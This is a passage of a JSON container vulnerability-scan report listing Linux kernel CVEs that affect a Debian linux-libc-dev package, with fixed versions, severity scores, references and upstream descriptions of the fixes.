"https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/0fbe20dfe74b783d255bf389a6ea77aa25dc7860%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89530.mbox", "https://git.kernel.org/stable/c/0fbe20dfe74b783d255bf389a6ea77aa25dc7860", "https://git.kernel.org/stable/c/1949dd1576f7a8aa161b1330c6125df9d53046d5", "https://git.kernel.org/stable/c/8068358f445a11296328ffa7c524701596814a17", "https://git.kernel.org/stable/c/8ec60eb51fae37cd3d334ff26e4a7d6fb21ff7cf", "https://git.kernel.org/stable/c/b73011049dbe909f73fd9620d94ef1757d7af2eb", "https://git.kernel.org/stable/c/fcd91b9957462d398792201c239dffaeff1cc8b2", "https://linux.oracle.com/cve/CVE-2026-89530.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89530", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89530" ], "PublishedDate": "2026-09-11T20:19:35.85Z", "LastModifiedDate": "2026-10-30T13:20:18.853Z" }, { "VulnerabilityID": "CVE-2026-89536", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89536", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41ae7a4ad099039987d2c6034ace121948b854fe1f7b312521e31de36930cde9", "Title": "kernel: SUNRPC: wait for in-flight client TLS handshake callback", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: wait for in-flight client TLS handshake callback\n\nxs_tls_handshake_sync() gives xs_tls_handshake_done() a reference to the\nlower transport before submitting the handshake request. On timeout or\nsignal, the synchronous waiter drops that reference after calling\ntls_handshake_cancel().\n\nhandshake_req_cancel() returns false when handshake_complete() has\nalready marked the request complete. In that case the completion callback\ncan still be running, so dropping the callback-owned reference in the\nwaiter can free the lower transport before xs_tls_handshake_done() stores\nxprt_err or drops its own reference.\n\nIf cancellation loses to completion, wait until xs_tls_handshake_done()\nsignals handshake_done and let the callback release its reference. This\nmirrors the server-side handshake lifetime handling and keeps the timeout\nor signal return value unchanged.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89536", "https://git.kernel.org/linus/a89dd597458848b463d284b15e42a8078beeb046%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89536.mbox", "https://git.kernel.org/stable/c/15431820f448e09f8029b670d5c82aa5917d4625", "https://git.kernel.org/stable/c/1de391e8b94e31b45c19c16dbf315e294810c7de", "https://git.kernel.org/stable/c/7fbb6d2ab0391eb8d1f1a68e6bc263ef02cea61b", "https://git.kernel.org/stable/c/a89dd597458848b463d284b15e42a8078beeb046", "https://git.kernel.org/stable/c/fb43997407bc17ee39bac81ab708101312e255f5", "https://linux.oracle.com/cve/CVE-2026-89536.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89536", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89536" ], "PublishedDate": "2026-09-11T20:19:36.613Z", "LastModifiedDate": "2026-10-19T09:17:48.317Z" }, { "VulnerabilityID": "CVE-2026-89545", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89545", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3b5b23af366aaec8d21270ece5f60cd2fafa05f24480734a78bfb50970081d33", "Title": "kernel: sunrpc: defer rq_argp and rq_resp free until after RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsunrpc: defer rq_argp and rq_resp free until after RCU grace period\n\nsvc_rqst_free() frees rqstp-\u003erq_argp and rqstp-\u003erq_resp synchronously\nvia kfree(), but defers the rqstp struct free via kfree_rcu(). After\nsvc_exit_thread() calls list_del_rcu() and svc_rqst_free(), there is\na window where RCU readers that started before list_del_rcu() can still\ntraverse the thread list and find the rqstp. These readers (e.g.\nnfsd_nl_rpc_status_get_dumpit()) dereference rqstp-\u003erq_argp, which has\nalready been freed — a use-after-free.\n\nFix this by moving the kfree of rq_argp and rq_resp into an explicit\ncall_rcu() callback alongside the struct free. Resources not accessed\nby RCU readers (bvec, buffer pages, scratch folio, auth_data) remain\nsynchronously freed.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89545", "https://access.redhat.com/security/cve/CVE-2026-89545", "https://git.kernel.org/linus/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89545.mbox", "https://git.kernel.org/stable/c/08bc49e0541260bf294962cf889a32a2d2713ad6", "https://git.kernel.org/stable/c/0ea49d69aa806008b2424c8cf21cf746b9963967", "https://git.kernel.org/stable/c/c479bde671cbe2f9e152834a8b0eb7c3c295bbaf", "https://git.kernel.org/stable/c/c977158237bccc3d2512d5b17c47ee3760dc8839", "https://git.kernel.org/stable/c/e0c5693d3f9a5d4911735ab0e0eba4eecb1f1090", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-wc7hjetb1xrq.toml", "https://linux.oracle.com/cve/CVE-2026-89545.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89545", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89545" ], "PublishedDate": "2026-09-11T20:19:37.84Z", "LastModifiedDate": "2026-10-30T13:20:21.04Z" }, { "VulnerabilityID": "CVE-2026-89563", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89563", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9d92e0eb60a2f781095dcdc4c9d6a869d4b4285f1d574e39ce2fafc1151a5d01", "Title": "kernel: ip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_tunnel: use skb_cow_head() in ip6_tnl_xmit()\n\nip6_tnl_xmit() may need to expand headroom before it can push the\nouter IPv6 and optional encap headers. It currently does that with\nskb_realloc_headroom(), copies skb-\u003esk ownership, consumes the original\nskb, and then continues processing with the replacement skb kept only in\nits local variable.\n\nThat is safe only if the helper cannot fail afterwards. But this helper\nstill has post-reallocation error exits. collect_md tunnels reject\nnon-NONE encap after the replacement, and ip6_tnl_encap() can also fail\nlater. In those cases the helper returns an error to its callers while\nthe caller still only has the original skb pointer.\n\nBoth ip6_tnl_start_xmit() and the IPv6 GRE paths free the caller skb on\nerror, so they can end up freeing an skb that ip6_tnl_xmit() already\nconsumed.\n\nUse skb_cow_head() instead. It provides the required headroom and\nwritability without privately replacing the caller-owned skb, so later\nerror returns cannot leave callers with a stale pointer.\n\nThe Ethernet users, ip6gretap and ip6erspan, clear IFF_TX_SKB_SHARING\nand already call skb_cow_head() before entering ip6_tnl_xmit(). They do\nnot rely on the removed skb_shared() reallocation. This also makes the\nIPv6 tunnel path consistent with ip_tunnel_xmit().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89563", "https://git.kernel.org/linus/87f21b59ddc618eff9670c174842964ad65fdade%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89563.mbox", "https://git.kernel.org/stable/c/37df5bc6b5ccad88c2faa0f5466f150178882b74", "https://git.kernel.org/stable/c/629d5557e635cdbc109a14ed913ba5a540e3f79a", "https://git.kernel.org/stable/c/6e8eff8ed13b14708bc39f170144eacde494aac6", "https://git.kernel.org/stable/c/87f21b59ddc618eff9670c174842964ad65fdade", "https://git.kernel.org/stable/c/8fc56ca49fc0ee1725b55c67bb43ab0dd01f3f52", "https://git.kernel.org/stable/c/b36dfd6e8cff00cea81c11cc0af88d1564763461", "https://git.kernel.org/stable/c/dc1a319a4815c074914e2812e0e9cd0164ca682b", "https://git.kernel.org/stable/c/defa0adeff132cc90ed66915b9a104d9393e1e54", "https://linux.oracle.com/cve/CVE-2026-89563.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89563", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89563" ], "PublishedDate": "2026-09-11T20:19:40.193Z", "LastModifiedDate": "2026-10-19T09:17:52.04Z" }, { "VulnerabilityID": "CVE-2026-89564", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89564", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bc88ee7c63a0c44e26d87595f40501b25831bb571733970425b3755f51f88980", "Title": "kernel: ip: orphan prefetched skbs before multicast forwarding", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nip: orphan prefetched skbs before multicast forwarding\n\nIPv4 and IPv6 input preserve an skb-\u003esk association installed by\nbpf_sk_assign() so that local delivery can use the selected socket under\nRCU. Both address families can also prefetch a socket in UDP early demux.\nIn both paths (BPF and UDP early demux) a reference is not guaranteed to\nbe held on the socket.\n\nWhen a multicast packet is not locally deliverable, IPv6 hands the\noriginal skb to ip6_mr_input(). IPv4's ip_mr_input() similarly keeps the\noriginal skb when local delivery is not needed. Either path can put the\nskb on an unresolved multicast route queue or forward it after the\nreceive-side RCU section ends.\n\nAfter the prefetched socket is destroyed, a later skb free invokes\nsock_pfree() and dereferences the stale skb-\u003esk. Orphan the skb before\neach non-local multicast forwarding path. Local delivery retains the\noriginal skb; the existing skb_clone() calls provide multicast forwarding\nwith a socket-free clone.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89564", "https://access.redhat.com/security/cve/CVE-2026-89564", "https://git.kernel.org/linus/e36ce6e78fe3fc3c071a26750783b7ba081ce10d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89564.mbox", "https://git.kernel.org/stable/c/592b91f41d4f35e37c9e0be1c46a4c28437642cd", "https://git.kernel.org/stable/c/882212d317a7c16ab70d20656f6b1c42abada9f6", "https://git.kernel.org/stable/c/a8af6fbac895f057c4b8ff8a2e3fb4c5827fe4ce", "https://git.kernel.org/stable/c/e36ce6e78fe3fc3c071a26750783b7ba081ce10d", "https://git.kernel.org/stable/c/e62aef7d6a5b27569bf540bbe11a9482117ff588", "https://git.kernel.org/stable/c/f1281d4b99089fbaf0d3579bba62a814ebb4de4d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-re4bg644ex6l.toml", "https://linux.oracle.com/cve/CVE-2026-89564.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89564", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89564" ], "PublishedDate": "2026-09-11T20:19:40.313Z", "LastModifiedDate": "2026-10-30T13:20:21.897Z" }, { "VulnerabilityID": "CVE-2026-89569", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18161a08d4ca92fb05963ee2b8cb26a996e26c9e6a252379529e3cfe17a51190", "Title": "kernel: Bluetooth: RFCOMM: serialize security confirmation handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: RFCOMM: serialize security confirmation handling\n\nrfcomm_security_cfm() looks up a session on session_list and then walks\nits DLC list without holding rfcomm_mutex. Since RFCOMM session teardown\nuses rfcomm_mutex, krfcommd can close and free the same session and DLCs\nconcurrently:\n\n hci_rx_work krfcommd\n ----------- ---------\n rfcomm_session_get()\n rfcomm_lock()\n rfcomm_session_close()\n rfcomm_dlc_unlink()\n rfcomm_session_del()\n kfree(s)\n rfcomm_unlock()\n walk s-\u003edlcs\n\nThe callback can then read a freed session list head and touch freed DLCs\nwhile updating their flags or timers.\n\nSerialize the session lookup and DLC traversal in rfcomm_security_cfm()\nwith rfcomm_mutex. This matches the existing RFCOMM session lifetime\nrules and prevents concurrent rfcomm_session_del() / rfcomm_dlc_unlink()\nfrom tearing the objects down while the callback is using them.\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in rfcomm_security_cfm+0x41c/0x440\n Read of size 8 at addr ffff888111fb3960 by task kworker/u17:1/89\n Workqueue: hci0 hci_rx_work\n Call Trace:\n rfcomm_security_cfm+0x41c/0x440\n hci_encrypt_cfm+0x139/0x590\n hci_encrypt_change_evt+0x37b/0xc40\n hci_event_packet+0x71b/0xb20\n hci_rx_work+0x293/0x730\n Allocated by task 69:\n rfcomm_session_add+0x9e/0x2f0\n rfcomm_run+0x44b/0x41e0\n Freed by task 69:\n kfree+0x131/0x3c0\n rfcomm_session_del+0x188/0x220\n rfcomm_run+0x1985/0x41e0", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89569", "https://git.kernel.org/linus/759c185d0bbdb131357408f50b8735e04ed3caff%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89569.mbox", "https://git.kernel.org/stable/c/1b7841ffad08e911e8c4b9470f3fa08423568940", "https://git.kernel.org/stable/c/3873f3449701b3dc98cba577923be6493598e7a1", "https://git.kernel.org/stable/c/62ce8b33eb238cf18c15207332fbdc26d858f592", "https://git.kernel.org/stable/c/759c185d0bbdb131357408f50b8735e04ed3caff", "https://git.kernel.org/stable/c/7ded3264106418c6456ccceaafd9fda596ce12c3", "https://git.kernel.org/stable/c/82425b14f0fb22e46cfddc56d6465570f5ed0ce6", "https://git.kernel.org/stable/c/946d76db77ee5f922968ce558629ae47b381e3fc", "https://git.kernel.org/stable/c/fbf7961964a6e93360179f64712320ae9a1e9577", "https://linux.oracle.com/cve/CVE-2026-89569.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89569", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89569" ], "PublishedDate": "2026-09-11T20:19:40.92Z", "LastModifiedDate": "2026-10-19T09:17:52.73Z" }, { "VulnerabilityID": "CVE-2026-89607", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89607", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:941793c346621a87e697e0a5f54b3ae988240b484511e6787e1b21ffce396bc6", "Title": "kernel: ecryptfs: reject oversized encrypted_key_size in parse_tag_3_packet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\necryptfs: reject oversized encrypted_key_size in parse_tag_3_packet\n\nparse_tag_3_packet() set encrypted_key_size from the Tag 3 packet body\nwithout bounding it against ECRYPTFS_MAX_KEY_BYTES (64). When\nencrypted_key_size \u003e 64, decrypt_passphrase_encrypted_session_key()\nsets decrypted_key_size = encrypted_key_size and performs two\nout-of-bounds writes:\n\n1. crypto_skcipher_decrypt() writes encrypted_key_size bytes into\n decrypted_key[64] via scatterlist, overflowing into the parent\n ecryptfs_auth_tok struct.\n2. memcpy(crypt_stat-\u003ekey, decrypted_key, decrypted_key_size) writes\n into crypt_stat-\u003ekey[64], corrupting root_iv, keysig_list, and\n mutexes in ecryptfs_crypt_stat.\n\nOnly AES-192 (cipher code 0x08) enables this because it sets\ncrypt_stat-\u003ekey_size = 24 independently of encrypted_key_size,\nallowing crypto_skcipher_setkey() to succeed while encrypted_key_size\nexceeds ECRYPTFS_MAX_KEY_BYTES.\n\nThe PKI decryption path (parse_tag_65_packet) already validates\ndecrypted_key_size \u003c= ECRYPTFS_MAX_KEY_BYTES; the passphrase path\nomits this check.\n\nBound encrypted_key_size against ECRYPTFS_MAX_KEY_BYTES (64) rather\nthan ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES (512). The 64-byte limit also\nprotects the 512-byte encrypted_key[] buffer, so the former 512-byte\ncheck is removed as redundant.\n\n[tyhicks: Adjust the code comment to refer to macros representing the\n buffer sizes rather than mentioning the buffer size values since they\n may change in the future]", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89607", "https://git.kernel.org/linus/5babe9c177c364521e3e682b949c5a8c47f4a441%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89607.mbox", "https://git.kernel.org/stable/c/14cb36a500a5a3afbc955dbf69dabc565f1a3b26", "https://git.kernel.org/stable/c/2cd21340163494d312836c77c9fbfe2530b3d075", "https://git.kernel.org/stable/c/33e050cac841498b5175f0f385eee903fd98863c", "https://git.kernel.org/stable/c/5babe9c177c364521e3e682b949c5a8c47f4a441", "https://git.kernel.org/stable/c/a419c9ebfc9a40ee56aaad6dc68bfd67d400817b", "https://git.kernel.org/stable/c/ccd13eff0e7356d2aa28b127b577e4e5ad4563f5", "https://git.kernel.org/stable/c/d2802414081184f79a619ede178aeef3aa989793", "https://git.kernel.org/stable/c/e2152d491ae62d96a32ed59778680a242af1fbc6", "https://linux.oracle.com/cve/CVE-2026-89607.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89607", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89607" ], "PublishedDate": "2026-09-11T20:19:45.723Z", "LastModifiedDate": "2026-10-19T09:17:57.22Z" }, { "VulnerabilityID": "CVE-2026-89617", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89617", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:09817b33f90e260413af8442e003b348eb93e8d9c7f837846e6da04cfd8e409a", "Title": "kernel: fs/ntfs3: validate dirty page table on log replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: validate dirty page table on log replay\n\nEach DIR_PAGE_ENTRY ends in a page_lcns[] array whose length is the on-disk\nlcns_follow field. check_rstbl() validates the table bookkeeping but never\nchecks that this array fits in the entry, so a crafted lcns_follow lets the\nv0-\u003ev1 conversion memmove and later replay passes run off the entry.\n\nAdd check_dp_table() to reject, right after check_rstbl(), any entry larger\nthan its size claims via struct_size() (the same expression used to allocate\nthese entries, so the check is overflow-safe by construction). All consumers\ncan then trust lcns_follow as the real capacity. This covers every\npage_lcns[] access whose index is bounded by the entry itself (the\nconversion memmove, the HotFix store via find_dp(), and the self-bounded\nscan loops). Accesses whose index comes from the log record need a separate\nbound and are handled in a follow-up patch.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89617", "https://git.kernel.org/linus/006cb7713dec10368e699abc4367e5faa334c9a5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89617.mbox", "https://git.kernel.org/stable/c/006cb7713dec10368e699abc4367e5faa334c9a5", "https://git.kernel.org/stable/c/0908da07c23be4f94b99dfd9a94765525f0fe4bd", "https://git.kernel.org/stable/c/0e07ea2fc45a7b4757ef7bf1f692cc0180a08323", "https://git.kernel.org/stable/c/1200c2779c43b62656ccbb67df9468a7a9af2484", "https://git.kernel.org/stable/c/1e90b1703ee1a04cd3e9e399353fc536f5f3ba10", "https://git.kernel.org/stable/c/2d94ffc9d7b5bb3517b129fe63b52d84bcd4ae56", "https://git.kernel.org/stable/c/d23155634a4bc1183e761d5eb2c043b2e693cc98", "https://nvd.nist.gov/vuln/detail/CVE-2026-89617", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89617" ], "PublishedDate": "2026-09-11T20:19:46.917Z", "LastModifiedDate": "2026-10-19T09:17:58.413Z" }, { "VulnerabilityID": "CVE-2026-89631", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": 